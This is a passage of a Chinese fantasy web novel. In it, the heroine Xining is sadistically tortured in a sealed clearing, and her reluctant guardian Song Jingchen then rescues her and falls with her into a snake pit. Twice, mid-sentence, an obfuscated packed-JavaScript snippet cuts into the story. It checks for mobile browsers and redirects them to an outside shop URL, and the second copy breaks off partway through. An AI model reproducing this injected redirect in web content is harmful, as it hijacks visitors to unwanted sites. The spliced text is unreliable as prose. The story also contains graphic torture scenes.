“熙宁,你才修炼了多久?十天?二十天?你甚至都不知道草木一族该如何修炼,”溪止苦笑出声,“真荒唐,连根心都没有的怪物,就这样稀里糊涂地修出了灵脉,成了仙考第一,还要同我一样拜入天玑宫。你毫不费力就做到了我拼命才做到的事,凭什么!” “你若是凭自己的本事便也就罢了,可你偏偏靠的是阿祁不小心打翻的仙酒才有此造化。我生平最恨的,一个是那些生而为仙的旧仙族,一个便是你这种走捷径,不劳而获的人,你们凭什么活着?你们这些人的存在才是寒了所有刻苦修炼之人的心。” 熙宁趴倒在地上,双腿和肩头的伤口在不断地往外渗血,疼得她浑身发抖,她连说话的力气都没有了。 扳指,她还有扳指。 熙宁知道自己绝不是溪止的对手,她连忙掏出扳指想要捏碎它,却发现怎么使劲都没有用。事到如今,熙宁还有什么不能明白的,这扳指上被下了禁制,从一开始,她就注定要死在秘境里。 “所以,我想了很久,”溪止冷眼看着熙宁的举动,随后站起身,重新恢复了那副温婉得体的模样,“我要怎么对你,才能让我心里好受一些呢?” 熙宁没去管溪止的话,她现在只想逃,这个念头让她在被疼痛淹没的意识里有了一丝清明。膝盖上的伤口太深,她只好用胳膊撑着地,一点一点地往前爬,身后淌下一长串血印,她已经有些感觉不到疼了。 快了,她就要爬出这片空地了。 爬到有人的地方去,只要爬到有人的地方去…… “啊——!” 泥地里毫无征兆地伸出几根细长的根须,同时刺入她的掌心、大腿和腹部。熙宁的身体猛地绷紧,像是被鱼叉刺穿的鱼,弓起又落下。 五条根须将她牢牢地钉在地上,并且开始吸食她的血液。熙宁能感觉到自己的血正在沿着根须往下流,渗入地底,滋养着周围枯败的树木。 空地一周的树木正在以肉眼可见的速度变得蓬勃,新的枝条抽出,枝头重新泛起绿意,树叶在微风中轻轻摇曳欢呼,似乎在庆祝她的死亡与它的新生。 溪止双手负在身后,站在几步之外,静静地看着这一切。 她也不想在这浪费时间,但奈何这丫头只要受到致命伤,那个碍事的人就会闪现过来,她并不清楚那个人的底细,所以最万全的办法就是放血虐杀。更何况其他人并不了解情况,她只得亲自现身动手,不然她才不会暴露自己。 “来世,不要再同我争了。”溪止站在原地,目光悲悯。 草木精的血对于草木来说就是最好的养料,熙宁的血让周围的草木无不受益。而所有受益的草木都会成为溪止的武器。 她抬起手,指尖轻轻拨动了几下。所有新生的绿叶瞬间在控制旋转、扭曲,变得锋利如刀片。数百片叶刀从枝头脱落,而后齐刷刷朝熙宁飞去。 “呃啊——呃——!” 叶刀从熙宁的身上一片片划过,割开她的皮肉却又并不致命,鲜红的血液不断涌出,熙宁早已意识模糊。 溪止走到她面前,蹲下身,伸出手捏住她的下巴,迫使她抬起头来。她的脸已经看不出原来的样子了,鲜血和泥土混在一起,糊了她满脸,就连之前亮晶晶的眸子也已经暗淡无光。 “疼吗?”溪止问。 熙宁张了张嘴,只吐出两个字:“疯子。” 她费劲地抬眼看向溪止,眼中满是恨意。 没错,是恨意,她恨她,就像昨日她教的那般恨她。 “应该很疼吧?”溪止松开手,站起身,没理会熙宁的辱骂。她的目光落在熙宁被贯穿的腹部上,血还在不断往外渗,但已经没有一开始那么多了。 熙宁的眼皮开始往下坠,她快要撑不下去了。 “没人会来救你的,”溪止施法将熙宁的右手拔出,又将一枝幻灵花塞进她手中,“那么现在,试试你的运气吧,三朵幻灵花,有两朵会使你忘记所有痛苦,让你在一场美梦中死去。” 熙宁看着眼前的三色花,犹豫了一瞬,捏碎了红色的那一朵,一股奇异的力量涌入她的身体。 而后紧跟着到来的,是剧痛。 灵脉被一寸寸抽离身体,熙宁以为自己早已忘记了那时的痛。她瞪大了眼睛,瞳孔因为双重疼痛的加持而逐渐涣散。手指拼命抠进泥土里,指甲因此断裂,鲜血满地。 红色的幻灵花,是绝望和痛苦的幻觉。 她的意识被这幻觉吞噬,整个人都陷入了极大的痛苦之中。 她看见自己磨破了膝盖也要攀登的仙梯,看见了那些居高临下肆意侮辱她的仙君。 她恍惚间,甚至看见了高台上看不清脸的恩人正默许这一切的发生,看见了歪脖子树被一些樵夫围着扬言要砍掉它去卖钱,看见了病弱的宋仙君正被小妖欺凌…… 熙宁痛到了极致,也绝望到了极致。她浑身止不住地颤抖,她想蜷缩起来抱住自己,可她的左手被钉住了,她只能单手抱着自己的肩膀,让自己清醒过来。 “看来,你的运气都用在了那一滴仙酒上了。”溪止故作遗憾地叹了一口气,收回幻灵花,将她的右手重新钉住。 溪止转过身,月白色的裙摆沾染了些许血迹,她走了两步,又停下来。 “好好享受这一切吧,熙宁,这才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468807|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚开始。”她没有回头,声音中带着一丝愉悦,“希望你能彻底喂饱这些树木。” 溪止的身影彻底消失,密林中恢复了安静,一切都是静止的,只有中间的空地上,熙宁的血在流。 熙宁趴在血泊中,意识不断沉浮。 她忽然想起自己是在冬月初六化形的,碧落川难得的没有下雪,歪脖子说这天是她的生辰; 冬月初八她在歪脖子的口头指导下,为自己做了一份长寿面,很难吃,她发誓再也不会吃人族食物; 冬月十二歪脖子操控枝条给她辫了四条小辫子,她再也不用披散着头发了,她很喜欢; 冬月二十七歪脖子终于为她想到了一个名字,叫熙宁,她问歪脖子有什么深奥的寓意没,歪脖子没有回答; 腊月初六她生出了灵脉,鸢尾认她做少主,她飞升仙界,还没来得及和大家告别,也是同一天她成为了仙考第一; 腊月初九她被贬回人间,顺便救了宋仙君; 腊月初十她第一次离开碧落川,见到了外面的世界,她决定争取一次,参加潜龙斗会; 腊月十一就是今天。 这短短的一个月,就是熙宁的一生。 她好想回家,好想一辈子只待在萧王府晒太阳,听歪脖子讲故事,要是她没有修出灵脉就好了。 熙宁闭上眼睛,她似乎真的得停留在这了。 空地上方,明羡悬在空中只垂眸看了一眼下面血肉模糊的人,而后侧首看向一旁的溪止:“这就是熙宁,那个被除去灵脉的草木精?” 溪止避而不答,她瞥了一眼明羡腰间挂着的通行令牌:“你别告诉我,阿祁派来下界的人是你?” “呵,当然不是我,是那个死心眼关安时,”明羡晃了晃腰间的令牌,声音有些洋洋得意,“但我把他迷晕了,并且还偷了他的令牌下界,怎么样?” “你还真是一如既往地胡闹。”溪止客观地评价道。 “嫂子,别这么说嘛,我哥他突然派人下界要杀这个熙宁,肯定少不了嫂子吹枕边风吧?”明羡笑看过去,语气满是调侃,“我哥是个傻的,以为你是个人畜无害的白莲花,可我无比清楚,你比任何人都心狠手辣,你应当是很想这熙宁死的吧,却又不希望自己手染鲜血,便只好利用我哥借刀杀人喽。” 溪止冷笑一声:“你现在是什么意思?” “我的意思是你就庆幸来的人是我吧,如果来的人是那个关安时,你今日的虐杀之举可就瞒不住了。所以嫂子,我们互相帮助吧,我会回去告诉我哥我已经杀死了熙宁,而你则继续装作什么都不知道,如何?” “随你,”溪止沉默了一会,又低头看了一眼已经毫无动静的熙宁,手中的灵笺不断传来消息。她转身化作流光离去,只留下了一句,“我先去处理些公务,你自便吧,记住别惹事。” 明羡看着溪止的身影彻底消失,这才收起脸上的笑:“为了杀一只草木精,竟然特意设了一个结界防止旁人误入,还真是大手笔,就这么恨吗?” 他垂眸再次看向血泊中的草木精,不知怎的他想起了自己撞在薄膜上的样子,血雾漫延,应当和现在一样吧。 他不明白这小草精到底有什么特别的,又究竟是做了什么伤天害理的事,让他从不干预下界之事的哥哥都能派心腹来杀她。 但不管怎样,杀人给个痛快便好,何必虐杀呢? 明羡不解,他双手合十凝出一把箭矢,转身离去的同时将箭矢射出,箭矢直朝熙宁的心口而去,他不忍回头看,直接挥袖离去:“我只能帮你到这了。” 下辈子做个好人吧,熙宁。 14. 不妄山虐杀(三) 云霄客栈 宋景辰从秘境中回来后,总感觉自己忘了什么事,但是又记不起来。 他也就没怎么放心上,此刻他正坐在书堆中快速查阅着,阿羬则趴在一旁学着主人的样子也捧着书翻几页。她时不时满意地点点头,不是因为书上的内容,她可不识字的,而是因为这些书都是她偷摸叼来的,她对此很是骄傲。 “找到了。”宋景辰看着手中的草木族修炼之法,直接施法将书中的知识全部灌入脑海。 草木一族是妖族的一种,根心便相当于妖丹。在修出根心之后,它们便需要打通三脉五窍,将混沌的肉身修成有序的灵体。根心仅仅是妖力的容器,打通三脉五窍后便可修出灵脉,容纳灵力,飞升仙界。 而如何打通三脉五窍也是一门学问。妖族修行时需要交替并行来打通脉和窍。脉是路,窍是门,若是只一味地通脉,妖力便会流转不了,此时继续强行冲脉,轻则脉废,重则妖丹碎裂。 若是只开窍,便会导致邪气入体,轻则妖丹受损,变成废妖;重则走火入魔,失去神智,沦为盲獠,一辈子受清山者追杀。 正确的修炼顺序便是先通尾窍,也就是草木族的须窍,然后再通地脉、下丹田、绛宫、心脉,也就是草木族的木脉,接着是玉枕、顶窍,最后便是灵脉。 地脉的位置便是妖丹向下,延至尾闾、四足,草木一族便是在根部的位置。由于生长于土地,草木精天生地脉便通了一半,但代价是一旦离开故土便会面临断脉。 所以出生于贫瘠之地的草木精因为无法吸收天地灵气,修炼大都停滞于通地脉的阶段。 此外,关于修炼顺序也有些许特例,小部分草木一族会先天根须不全,没有须窍可开。它们往往会选择先通木脉,用光合之力滋养出新的根须,才有窍可开。 宋景辰将书全部翻阅完,也没有看到草木没有根须的特例。就连当年的溪止也只是将根脉从地里拔出,脱离土地,并没有舍弃根须。 那熙宁这是怎么回事,她没有根须,真的是小草吗? 不对,她不管是根心还是妖丹都没有,她真的是妖吗? “不过也对,世界之大,无奇不有。”宋景辰说服了自己,毕竟在溪止之前也没有人相信草木可以拔出根脉。 熙宁说不定正是世间舍弃根须第一草。 宋景辰想着,却又觉得有哪里不对劲。熙宁究竟是天生没有根须,还是她在修炼时将根须弃了。若是在修炼时舍弃的,那是什么时候? 他忽然想起了在乘月渡的事,那时在江底裂隙中,熙宁似乎是自己游上来的,可她分明说过自己不会水。 宋景辰连忙低头翻阅着书籍,终于在关于水族的书籍中找到了类似的情况。 水中一族通地脉需要潜入深水地裂中,借其中的水火对冲之力,强行冲开地脉。乘月渡的江底恰有一处地裂,但由于位于人妖交界,很少有妖选择此处。 最重要的是,地裂入口都设有薄膜,唯有被地裂选中的水族才可进入。这也是除开生还率,水族冲开地脉成功率低的原因之一。 看到这里,宋景辰觉得自己的认知受到了冲击,他记得熙宁是被动被吸入地裂的。 所以,熙宁是水族? 哦,他知道了,熙宁是水草。 很扯。 宋景辰觉得有些好笑,但他又想不出其他解释了。 熙宁方才在秘境中恢复了些许草木之力,或许是因为她在地裂炸了根须,冲开了地脉。而且妖族每开一脉,都会突破境界,妖力增强并延长寿命。 “这小草还真是好运。”宋景辰不禁感叹,寿命延长可以确保她完成比赛,境界突破也有助于她赢得比赛,“她该不会真的能拿到续命丹吧?” 宋景辰皱眉,她是续命了,那他怎么办? 原本打算等她死了,拿回碎片再次飞升的,现在看来短时间内是拿不回来了。 人族的本命器和妖族的妖丹一样,一旦碎裂便会命不久矣。宋景辰是因为体内还有灵脉撑着,才能活到现在,但灵力没有了可以储存的地方,他每次都只能使用固定的薄弱灵力,实在憋屈。 熙宁虽然通了地脉,但她依旧没有根心,妖力无处存放也无法再生,使用完了便是真的没了。这样想来,熙宁也不一定能赢得比赛。 宋景辰宽慰了一会自己,余光却瞥见一本摊开的古籍,上面画着一个古朴灯盏,呈金黄色,外形如同百年前宫中的宫灯样式。灯身纹路蜿蜒,刻着几株神草,灯内不见灯芯,昏暗无光。 画的下侧写着灯的名字,叫功德灯。 由神族的清漪神君打造,封印在南玄云栖山,与其滴血认器的持灯人可以凭借积累功德,逐渐点燃功德灯,延续寿命。若是能够将功德灯完全点亮,那持灯人便可引功德之力,越级成神。 这是完全不同于刻苦修炼的晋升之路,它看起来更为简单,但实际上,这么多年别说滴血认器了,就连能进入封印的人都没有。 宋景辰只看了几眼便移开目光,他现在看见能够延续寿命的法子就想将其毁掉,免得真让那小草续命成功了。 人的寿命自有天定,到底是谁想出那么多续命的方法。 宋景辰气极,自从败于那缉事卫手下,便一心只想恢复修为,他堂堂仙君何时这么狼狈过。 “阿羬啊阿羬,你说本仙君飞升失败的事还能瞒多久?”宋景辰转头看着还在瞎翻书的阿羬,问道。 阿羬抬头:“咩——” 宋景辰神情凝重,觉得阿羬咩得有理。 恐怕真的瞒不了多久了,还有一年不到神使司的神官便要换人了,届时他飞升失败的事定然能够传开。 后仙族的人肯定对他失望至极,光是想到那些人的眼神他就已经承受不住了,说不定还会遭受谩骂。他宋景辰从来都是受人景仰的,何时受过如此屈辱。 所以不管怎样,他都必须赶在轮值之前,再次飞升,重新成为后仙族和师父的骄傲。 宋景辰将书合上,在心中暗暗祈祷熙宁在秘境之中千万别再受到致命攻击了,到时候劳累的还是他。 要是能够遭受一些不致命的小伤,加速她生命的流逝就更好了。 他正想着,便感觉到一股再熟悉不过的吸力将他从客栈飞速拽走。 再睁眼时他已经回到了秘境,只是这次的出场有些狼狈,直接砸在了树冠上,又翻滚着跌落在地。 宋景辰单膝跪地,一手捂着自己的右肩。一支由灵力凝成的箭矢刺穿了他的肩膀,鲜血顺着他的指缝往下淌,滴落在脚下的血泊中。 这箭矢威力之大,若是射在心口足以取人性命。宋景辰闷哼一声,本是要低头看向自己的伤口,却看见了脚下的血泊。 这是,谁的血? 他猛然回头。 身后趴着的人早已昏迷,鹅黄色的衣裳被染成了血红色。五条根须将她牢牢钉在地上,她的头发散乱地铺在血泊中,几根发梢黏腻地贴在她的脸上,让人看不清样貌。 虽然她的腰间挂着小布包,背上还背着一把刀,但宋景辰一时有些不敢认。 “熙宁?” 宋景辰站起身,踉跄了一下,他将肩头的箭杆猛地一折扔在地上,然后跌跌撞撞地朝熙宁走去。 “熙宁。” 他走到她身边,跪了下来,颤抖地伸出手。灵力从他掌心涌出,渗入那些根须,根须开始微微颤动。宋景辰咬牙将体内残存的灵力全部调动出去,强行逆转了根须的生长方向。 那些根须开始从熙宁体内退出。 宋景辰的脸色肉眼可见的白了下去,额前的碎发被冷汗浸湿。他的灵力还没完全恢复,现在强行施法几乎是在透支他自己。 终于,五条根须彻底从熙宁身上拔出。 也是同一时间,宋景辰猛地侧过头,一口鲜血喷在了地上,和熙宁的血混在一起,分不清是谁的。他的身体晃了晃,险些栽倒。 但他来不及喘息,一手撑地,一手将斩龙刀解开,将熙宁从血泊中捞起来,抱进怀里。 他发现她轻得不像话,像一捆被雨水淋湿的干草,虽然湿漉漉的,但却没有多少分量。 宋景辰将她抱在怀中,让她靠在自己的肩头,一只手按在她腹部的伤口上,灵力不断涌出,试图为她止血,缓解些许疼痛。然而灵力渗入她的身体,就像是一滴水渗入沙漠之中,没有任何的帮助,她已经快要死了。 宋景辰加大了灵力的灌注。 “醒醒,”他说,声音沙哑得几乎听不清,“熙宁,醒醒。” 他按住她肩头的伤,又按住她膝盖的伤,手忙脚乱地为她止血。可伤口实在太多了,他的手上沾满了血,微薄的灵力根本没有任何用处。 “熙宁,醒醒!”他的声音提高了几分,带着一种连他自己都尚未察觉的情绪,心口仿佛被人狠狠攥住,很闷,喘不上气。 许久,熙宁紧闭的眼睛颤了颤。她费了好大的力气才睁开眼,但目光有些涣散。在她模糊的视线里,只能看见一道模糊的红,她张了张嘴,声音很轻:“师……兄……” 宋景辰对上她的视线,一愣,他忽然清醒了。 熙宁的声音瞬间将他从方才失控的状态中猛地拽了出来,他看着怀中奄奄一息的少女,脑海中忽然响起一道声音。 宋景辰,你在干什么? 从萧王府到乘月渡,再从乘月渡到不夜城,他一路被迫跟着她,保护她,不就是在等这一刻吗?等她的命数到头,等她自己消散取出碎片,重修不染剑,不是吗? 现在她快要死了,这不正是他所期盼的吗? 宋景辰按在熙宁伤口上的手顿住了,他错开视线,不敢再去看熙宁的眼睛。 “别救我了,”熙宁颤抖着抬起手,搭在宋景辰的手背上,声音断断续续,“不要浪费灵力,我知道我已经快不行了。” 宋景辰没有说话,果真收回手,停止了灵力的输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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熙宁看着他,没有再说话。这位宋仙君竟然真的会以命护她。 宋景辰抬起头,目光扫过四周。空地的边缘有一层淡淡的灵力,将这片区域笼罩其中,这大概就是溪止设下的结界。 他右肩的伤口还在渗血,灵力已经彻底耗尽了。他左臂半抱住熙宁,然后咬破右指,开始在空中画符。 “乾坤借法,血为引,寿为祭。以我之躯,破此虚障。天清地宁,万法归宗,破——!” 血符印在屏障之上,血雾弥漫,结界上出现一道裂痕。随后裂痕顺着血雾一道蔓延开来,宋景辰拿起一旁的斩龙刀扔出,插在了那道裂缝上。 结界瞬间碎裂。 然后,宋景辰看清了脚下的地面。不是落叶层,不是泥土,而是一片望不到底的深坑。坑壁陡峭,密密麻麻爬满了蛇,大大小小,五颜六色。它们纠缠在一起,蠕动、翻滚、吐着信子。 蛇窟。 溪止竟然将结界设在了蛇窟之上。 宋景辰抱着熙宁悬在蛇窟上方,脚下的坑壁就是那片蠕动的蛇海。他知道掉下去恐怕凶多吉少,但他的灵力已经不足以再支撑了,身体开始往下坠去。 他低头看向怀中的熙宁,只收紧手臂,将她的头按在自己胸前,努力地让自己背朝下,将她紧紧护在怀中。 “闭眼。”他低声说。 然后,他们一起坠入蛇窟。 风声从耳边呼啸而过,宋景辰的后背重重地砸在了坑底,一口鲜血从他嘴里涌出来,溅了几滴在熙宁的脸上。 他没有松手,仍死死抱着熙宁。周围的蛇群被突然的声响惊动,四下散开,又很快聚拢过来,吐着信子在他们周围游走。 “师兄?”熙宁想要抬头,但她已经没有力气了。 “放心,没死。” 宋景辰感觉自己的骨头最起码碎了几根,又要麻烦阿羬为他疗伤了。他望着头顶那片狭窄的光亮,按理说时间也够了,他应该被传送回客栈了吧。 可眼下并没有,或许是因为他破了结界,打破了某种规则,所以留了下来? 他不清楚,但是也好,若是此时他被传送走,留下熙宁一个人在这蛇窟,她该怎么办? 至少现在是两个人互相陪伴着。 宋景辰想着,缓缓扯了一下嘴角,事情怎么就变成了这样? 他等了这么久,盼了这么久,到头来,他不仅没能袖手旁观,反而把自己也搭了进来。 真是不划算。 太不划算了。 “师兄?”熙宁轻喊了一声,她抬起头看着眼前的场景,仿佛又回到了江底裂隙中。那时她也是身处绝境,最终却还是靠自己逃了出来。 她忽然想起了自己那时的力量来源。 “师兄?”她又喊了一声。 宋景辰忍着痛应道:“嗯?” “我可以吻你吗?”